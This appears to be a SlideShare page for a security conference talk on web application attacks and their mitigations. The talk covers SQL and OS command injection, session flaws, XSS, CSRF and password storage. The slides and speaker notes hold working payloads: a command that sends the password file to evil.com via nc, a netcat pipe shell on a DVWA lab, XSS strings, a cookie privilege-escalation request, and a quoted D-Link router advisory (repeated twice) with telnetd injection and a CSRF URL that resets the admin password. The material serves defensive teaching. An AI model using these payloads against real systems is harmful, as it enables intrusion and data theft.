Attacking Web Applications
•Descargar como PPT, PDF•
4 recomendaciones•7,076 vistas
The document discusses common web application attacks and how to mitigate risks. It covers injection attacks like SQL and OS command injection, session management vulnerabilities, cross-site scripting (XSS), cross-site request forgery (CSRF), password storage issues, and other risks like sensitive data exposure. It emphasizes the importance of input validation, output encoding, secure sessions, use of HTTPS, and other best practices to develop securely. Code examples and demos are provided to illustrate some of these vulnerabilities.
Recomendados
Recomendados
Más contenido relacionado
La actualidad más candente
La actualidad más candente (20)
Similar a Attacking Web Applications
Similar a Attacking Web Applications (20)
Más de Sasha Goldshtein
Más de Sasha Goldshtein (20)
Último
Último (20)
Attacking Web Applications
- 1. Attacking Web Applications Sasha Goldshtein CTO, Sela Group @goldshtn blog.sashag.net
- 2. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Every web developer must be aware of the most common web attacks, risks, and mitigations. Don’t fly blind.
- 3. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Typical Risks • Exposure of user information – Passwords, emails, identity theft • Direct financial gain – Credit card details • Creating a botnet – Using servers/user systems for malicious activity • Denial of service
- 4. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Are they really after me? 1. They could be, if you’re important. 2. They are after your users. 3. They found you randomly on the web.
- 5. Join the conversation on Twitter: @SoftArchConf #SoftArchConf OWASP Top Ten1. Injection 2. Broken auth and session management 3. Cross-site scripting 4. Insecure direct object references 5. Security misconfiguration 6. Sensitive data exposure 7. Missing function level access control 8. Cross-site request forgery 9. Using vulnerable components 10.Unvalidated redirects and forwards
- 6. Join the conversation on Twitter: @SoftArchConf #SoftArchConf SQL Injection • Suppose the user request parameter is … ' or '1'='1 • Then the query we execute is … (note that and has precedence over or) select * from users where name='' or '1'='1' and password='whatever' db.ExecuteReader("select * from users where name='" + Request["user"] + "' and password='" + Request["password"] + "'");
- 7. Join the conversation on Twitter: @SoftArchConf #SoftArchConf
- 8. Join the conversation on Twitter: @SoftArchConf #SoftArchConf OS Command Injection • Suppose we’re too lazy to perform DNS lookup, so we resort to the following: • Suppose the hostname parameter is … foo || cat /etc/password | nc evil.com • Then we end up sending the password file to evil.com! • Most recent noisy exploit 10/9/2013 system("nslookup " + Request["hostname"]);
- 9. Join the conversation on Twitter: @SoftArchConf #SoftArchConf DEMO SQL injection and OS command injection
- 10. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Mitigating Injections • DO NOT trust user input • DO NOT run code provided by the user • DO NOT use blacklists for validation • DO use SQL query parameters (?, @param, :param) • DO use whitelists and regexes for validation • DO fuzz your code with invalid input
- 11. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Sessions and URLs • DO NOT embed session id in URLs • DO NOT trust cookie contents • DO NOT trust URL query string contents • DO NOT use predictable session ids http://example.com/cart.php? sess=127 • DO use a Secure, HttpOnly cookie for session id • DO use long, random session ids
- 12. Join the conversation on Twitter: @SoftArchConf #SoftArchConf DEMO Exploiting vulnerable session information
- 13. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Use HTTPS Correctly • DO NOT send sensitive information over HTTP • DO NOT display login pages over HTTP • DO NOT load HTTP frames/scripts/images in an otherwise HTTPs page • DO insist on pure HTTPS for sensitive pages
- 14. Join the conversation on Twitter: @SoftArchConf #SoftArchConf DEMO Manipulating HTTP traffic
- 15. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Storing Sensitive Information • DO NOT store anything you don’t have to store – Least responsibility principle • DO comply with regulation for secure storage – E.g. if you store credit card details, you’re in for some pain
- 16. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Password Storage • DO NOT store passwords in clear text • DO NOT store encrypted passwords • DO hash and salt passwords • DO reject weak passwords during signup • DO consider using OAuth • DISCUSS which hash function to use – Super-slow (bcrypt) – subject to DOS – Super-fast (MD5, SHA1) – subject to cracking
- 17. Join the conversation on Twitter: @SoftArchConf #SoftArchConf DEMO Rainbow tables and weak passwords
- 18. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Cross-Site Scripting (XSS) • Injecting JavaScript into pages viewed by other users – Cookie stealing, information disclosure – DOM manipulation, tricking the user • Temporary XSS http://bad.com/?q=<script>alert(1);</script> • Persistent XSS – You provide data to the server which is then permanently displayed when users visit
- 19. Join the conversation on Twitter: @SoftArchConf #SoftArchConf DEMO Persistent and temporary XSS
- 20. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Cross-Site Request Forgery (CSRF) • Use the fact that the user is already authenticated to a website to generate requests on his behalf <img src="http://forum.com/delete_profile.ph p?confirmed=True" /> • Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then, Google history is stored into the attacker’s account
- 21. Join the conversation on Twitter: @SoftArchConf #SoftArchConf DEMO CSRF
- 22. Join the conversation on Twitter: @SoftArchConf #SoftArchConf 70 Ways To Encode <
- 23. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Mitigating XSS and CSRF • DO NOT trust user input (déjà vu?) • DO NOT allow GETs to modify state • DO NOT rely on blacklists • DO escape and sanitize HTML provided by the user • DO generate anti-CSRF tokens and validate them • DO validate Referer headers
- 24. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Admin Consoles • DO NOT leave admin consoles exposed to the Internet • DO NOT provide “extra helpful” troubleshooting info Some auth cookies… yum! Some auth cookies… yum!
- 25. Join the conversation on Twitter: @SoftArchConf #SoftArchConf DEMO Locating ELMAH error pages through Google
- 26. Join the conversation on Twitter: @SoftArchConf #SoftArchConf DLink DIR-615 and DIR-300 Part 1 • OS command injection http://<IP>/tools_vct.xgi? set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingI p=1.1.1.1`telnetd`&pingIP=1.1.1.1 • CSRF to change admin password and enable remote administration (Internet- facing) http://<IP>/tools_admin.php? ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_pass word1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_e nable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080
- 27. Join the conversation on Twitter: @SoftArchConf #SoftArchConf DLink DIR-615 and DIR-300 Part 2 • Information disclosure http://<IP>/DevInfo.txt • Insecure password storage $ cat var/etc/httpasswd admin:admin
- 28. Join the conversation on Twitter: @SoftArchConf #SoftArchConf Summary & Call To Action • Be aware of security risks and typical vulnerabilities • Ensure your developers get up to date security training • Review code for security, not just correctness • If your web app is secure, attackers will try other routes
- 29. Thank You! Sasha Goldshtein CTO, Sela Group @goldshtn blog.sashag.net
Notas del editor
- Source: http://xkcd.com/327/ under Creative Commons 2.5 license.
- Most recent noisy exploit in DIR-505 firmware: http://www.exploit-db.com/exploits/28184/ request=ping_test&ip_addr=127.0.0.1; /usr/sbin/telnetd;
- Command injection Open http://localhost:1234/dvwa/vulnerabilities/exec/ Input 127.0.0.1 and show the output – this looks suspiciously as though input is passed to a system() call Input 127.0.0.1;ls -la Input 127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 13371 > /tmp/pipe This creates a temporary pipe and connects a netcat listener to one end of that pipe Now on the shell, run nc localhost 13371 to connect to the other end of that pipe – we have a shell on the webserver! SQL injection Open http://localhost:1234/dvwa/vulnerabilities/sqli/ Input ‘ or ‘1’=‘1 and show the output – we have the entire table Show the vulnerable code at /Applications/XAMPP/xamppfiles/htdocs/dvwa/vulnerabilities/sqli/source/low.php
- Trusting cookie contents when the cookie is stored on the client is a horrible idea. Gruyere does that – it even stores whether the user is an admin in the cookie. Create a new user account on http://google-gruyere.appspot.com/261444123717/ Inspect the GRUYERE cookie with Edit This Cookie Illustrate that the cookie is neither Secure nor HttpOnly Illustrate the cookie structure – “58923195|sasha||author” The part in the middle says whether I’m an admin. If I try to manipulate this blindly, it won’t work because there’s a hash on the cookie contents. (As a side note, this hash is not cryptographically secure so we could try to generate a collision, but not today.) Try to create a new user called “ sasha|admin|author ” – this will generate a cookie for “ hash|sasha|admin|author||author ” , which will log me in as admin Problem is, there is a client-side restriction on user id length for 16 chars. So we just bypass it and issue a request for the new user page – and then voila, we are logged in as sasha with admin privileges – note the “Manage this server” link on the homepage. http://google-gruyere.appspot.com/261444123717/saveprofile?action=new&uid=sasha|admin|author&pw=password
- Run Fiddler on the Windows 7 machine. Enable the proxy settings on the Mac to point to 192.168.0.191 port 8888. Go to the Gruyere login page and inspect the response in Fiddler. Uncomment the rule in the FiddlerScript tab that manipulates the response and changes the form target to evil.com: if (oSession.uriContains('/login')) { oSession.utilDecodeResponse(); oSession.utilReplaceInResponse( "<form method='get' action='/261444123717/login'>", "<form method='get' action='http://www.evil.com/login'>"); } Try to log in and show that we are redirected to evil.com
- Show the power of rainbow tables: Go to http://www.onlinehashcrack.com/free-hash-reverse.php Generate a sha1 or md5 for a “strong” but short password: $ md5 -s Password123 MD5 ("Password123") = 42f749ade7f9e195bf475f37a44cafcb Input it online and see how they find the plain text LinkedIn leaked hashes: Show the LinkedIn leaked hashes file (combo_not.txt). Some hashes have a leading 00000, some don’t. These hashes were not salted… Show that users have very bad security habits. Generate a couple of hashes for common passwords and show that they are in the file (password, Password1, etc.): python import hashlib s = hashlib.sha1(‘password’).hexdigest() s Search for that hash in the file (with grep) ‘ 0’*5 + s[5:] Search for that hash in the file (with grep)
- Persistent XSS in snippets: The trivial attempt to create a snippet with <script>alert(1)</script> doesn’ t work – there is some sanitization on the server But this works: <a href=“ javascript:alert(1) ” >Click me</a> And this also works: <a onmouseover=“ javascript:alert(1) ” >Read me</a> Surprising persistent XSS: Go to “My Profile” and change the color to: red' onload='alert(1)' onmouseover='alert(2) Reflected XSS using a URL: http://google-gruyere.appspot.com/261444123717/%3Cscript%3Ealert(document.cookie)%3C/script%3E Just need to get the victim to click on that link (phishing, etc.) – the error page includes the error URL
- Just need to get the user to visit a page that makes the following request: http://google-gruyere.appspot.com/261444123717/deletesnippet?index=0 For example, you can set your profile icon URL to that, and Gruyere will happily serve that URL to any authenticated user that logs into the main page…
- Source: http://www.slideshare.net/rob.ragan/filter-evasion-houdini-on-the-wire
- Note that using POST instead of GET is not enough in and of itself – it will prevent some CSRF attacks but from a page that’s fully controlled by the attacker, there is no problem to submit a POST request as well. Similarly, validating Referer headers is not enough because the Referer header can sometimes be spoofed by browsers or intermediaries. The best approach is to require a specific anti-CSRF token for each state-changing operation, and preferably require the user to reauthenticate before performing a sensitive state-changing operation.
- Just do a Google search: https://www.google.com/search?q=inurl%3Aelmah.axd+ASPXAUTH And click some links to illustrate the risks.
- Full advisory text: From: devnull@s3cur1ty.de To: bugtraq@securityfocus.com Subject: Multiple Vulnerabilities in D'Link DIR-615 - Hardware revision D3 / DIR-300 - Hardware revision A Device Name: DIR-615 - Hardware revision D3 / DIR-300 - Hardware revision A Vendor: D-Link ============ Device Description: ============ DIR-300: http://www.dlink.com/de/de/home-solutions/connect/routers/dir-300-wirele... DIR-615: http://www.dlink.com/de/de/support/product/dir-615-wireless-n-300-router... ============ Vulnerable Firmware Releases - DIR-615: ============ Tested Firmware Version : 4.13 ============ Vulnerable Firmware Releases - DIR-300: ============ Firmware Version : 1.05 , Fri 13 Feb 2009 Firmware Version : 1.05 , Mon 06 Jul 2009 Firmware Version : 1.05 , Fri 26 Nov 2010 I like the same version number with different build dates :-D ============ Vulnerability Overview: ============ * OS Command Injection (1) The vulnerability is caused by missing input validation in the set/runtime/diagnostic/pingIp and the exeshell parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to start a telnetd to compromise the device. You need credentials for the webinterface. http://192.168.178.155/tools_system.xgi?random_num=2012.8.24.13.34.33&exeshell=submit%20`ping 192.168.178.102` Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-300_A-code-execution.png http://192.168.178.155/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1 Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-615_D-OS-Command-Injection-start-telnetd.png * For changing the current password there is no request to the current password (2) With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser. CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management (3): http://Target-IP/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080 * Insecure Cryptographic Storage (4): There is no password hashing implemented and so it is saved in plain text on the system. You will find other ways to get access to it. # cat var/etc/httpasswd admin:admin * reflected XSS (5) Injecting scripts into the parameter send_mail reveals that this parameter is not properly validated for malicious input. http://192.168.178.150/tools_log_setting.php?ACTION_POST=SOMETHING&send_mail=--%3E%3Cscript%3Ealert%28%27XSSed%27%29%3C/script%3E&apply=Save+Settings&log_sys=1&log_dbg=1&log_att=1&log_drp=1&log_ntc=1&email_addr=&subject=&sender=&srv=&srv_port=25 Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-300_A-XSSed.png * HTTP Header Injection (6) Injecting scripts into the parameter date reveals that this parameter is not properly validated for malicious input. Request: GET /tools_vct.xgi?%0dNew%20Header=1 HTTP/1.1 Host: 192.168.178.155 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Response: HTTP/1.1 302 Found Server: Alpha_webserv Date: Sat, 01 Jan 2000 08:26:28 GMT Content-Type: text/html Accept-Ranges: bytes Location: tools_vct.php?uptime=1589& New Header=1 X-Pad: avoid browser bug Content-Length: 0 * Information Disclosure (7): Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available unauthenticated via the network. Request: http://<IP>/DevInfo.txt Response: Firmware External Version: V4.13 Firmware Internal Version: ac6b Model Name: DIR-615 Hardware Version: D1 WLAN Domain: EU Kernel: Linux version 2.6.21 Language: en Graphcal Authentication: Disable LAN MAC: xxx WAN MAC: xxx WLAN MAC: xxx * Information Disclosure (8): Nice server banner to detect this type of devices easily: Server Banner: Mathopd/1.5p6 ============ Solution ============ DIR-300A: Update to Firmware Version : 1.06 , Thu 11 Apr 2013 DIR-615D: Update to Firmware Version : 4.14b02 Vulnerability Nr. 1, 2, 3, 5, 6, 7, 8 - unfixed Vulnarability Nr. 4 - unknown Telnetd with hard coded credentials is disabled with this update. ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de Advisory URL: http://www.s3cur1ty.de/m1adv2013-014 Twitter: @s3cur1ty_de There is also a default telnet user available and documented here: http://www.dd-wrt.com/phpBB2/viewtopic.php?t=62146 ============ Time Line: ============ October 2012 - discovered vulnerability 15.10.2012 - contacted dlink via mail 23.10.2012 - contacted dlink via first Webinterface 11.11.2012 - contacted dlink via second Webinterface 20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link 21.12.2012 - D-link responded that they will check the findings *h00ray* 11.01.2013 - requested status update 25.01.2013 - requested status update 25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix 07.02.2013 - after the DIR-600/300 drama D'Link contacted me and now they would talk ;) - since 07.02. there is some communication between dlink and me 18.04.2013 - a new beta image is available for testing 20.04.2013 - tested the provided image, feedback to vendor 22.04.2013 - vendor releases update 22.04.2013 - public release ===================== Advisory end =====================
- Full advisory text: From: devnull@s3cur1ty.de To: bugtraq@securityfocus.com Subject: Multiple Vulnerabilities in D'Link DIR-615 - Hardware revision D3 / DIR-300 - Hardware revision A Device Name: DIR-615 - Hardware revision D3 / DIR-300 - Hardware revision A Vendor: D-Link ============ Device Description: ============ DIR-300: http://www.dlink.com/de/de/home-solutions/connect/routers/dir-300-wirele... DIR-615: http://www.dlink.com/de/de/support/product/dir-615-wireless-n-300-router... ============ Vulnerable Firmware Releases - DIR-615: ============ Tested Firmware Version : 4.13 ============ Vulnerable Firmware Releases - DIR-300: ============ Firmware Version : 1.05 , Fri 13 Feb 2009 Firmware Version : 1.05 , Mon 06 Jul 2009 Firmware Version : 1.05 , Fri 26 Nov 2010 I like the same version number with different build dates :-D ============ Vulnerability Overview: ============ * OS Command Injection (1) The vulnerability is caused by missing input validation in the set/runtime/diagnostic/pingIp and the exeshell parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to start a telnetd to compromise the device. You need credentials for the webinterface. http://192.168.178.155/tools_system.xgi?random_num=2012.8.24.13.34.33&exeshell=submit%20`ping 192.168.178.102` Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-300_A-code-execution.png http://192.168.178.155/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1.1.1 Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-615_D-OS-Command-Injection-start-telnetd.png * For changing the current password there is no request to the current password (2) With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser. CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management (3): http://Target-IP/tools_admin.php?ACTION_POST=1&apply=Save+Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080 * Insecure Cryptographic Storage (4): There is no password hashing implemented and so it is saved in plain text on the system. You will find other ways to get access to it. # cat var/etc/httpasswd admin:admin * reflected XSS (5) Injecting scripts into the parameter send_mail reveals that this parameter is not properly validated for malicious input. http://192.168.178.150/tools_log_setting.php?ACTION_POST=SOMETHING&send_mail=--%3E%3Cscript%3Ealert%28%27XSSed%27%29%3C/script%3E&apply=Save+Settings&log_sys=1&log_dbg=1&log_att=1&log_drp=1&log_ntc=1&email_addr=&subject=&sender=&srv=&srv_port=25 Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-300_A-XSSed.png * HTTP Header Injection (6) Injecting scripts into the parameter date reveals that this parameter is not properly validated for malicious input. Request: GET /tools_vct.xgi?%0dNew%20Header=1 HTTP/1.1 Host: 192.168.178.155 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Response: HTTP/1.1 302 Found Server: Alpha_webserv Date: Sat, 01 Jan 2000 08:26:28 GMT Content-Type: text/html Accept-Ranges: bytes Location: tools_vct.php?uptime=1589& New Header=1 X-Pad: avoid browser bug Content-Length: 0 * Information Disclosure (7): Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available unauthenticated via the network. Request: http://<IP>/DevInfo.txt Response: Firmware External Version: V4.13 Firmware Internal Version: ac6b Model Name: DIR-615 Hardware Version: D1 WLAN Domain: EU Kernel: Linux version 2.6.21 Language: en Graphcal Authentication: Disable LAN MAC: xxx WAN MAC: xxx WLAN MAC: xxx * Information Disclosure (8): Nice server banner to detect this type of devices easily: Server Banner: Mathopd/1.5p6 ============ Solution ============ DIR-300A: Update to Firmware Version : 1.06 , Thu 11 Apr 2013 DIR-615D: Update to Firmware Version : 4.14b02 Vulnerability Nr. 1, 2, 3, 5, 6, 7, 8 - unfixed Vulnarability Nr. 4 - unknown Telnetd with hard coded credentials is disabled with this update. ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de Advisory URL: http://www.s3cur1ty.de/m1adv2013-014 Twitter: @s3cur1ty_de There is also a default telnet user available and documented here: http://www.dd-wrt.com/phpBB2/viewtopic.php?t=62146 ============ Time Line: ============ October 2012 - discovered vulnerability 15.10.2012 - contacted dlink via mail 23.10.2012 - contacted dlink via first Webinterface 11.11.2012 - contacted dlink via second Webinterface 20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link 21.12.2012 - D-link responded that they will check the findings *h00ray* 11.01.2013 - requested status update 25.01.2013 - requested status update 25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix 07.02.2013 - after the DIR-600/300 drama D'Link contacted me and now they would talk ;) - since 07.02. there is some communication between dlink and me 18.04.2013 - a new beta image is available for testing 20.04.2013 - tested the provided image, feedback to vendor 22.04.2013 - vendor releases update 22.04.2013 - public release ===================== Advisory end =====================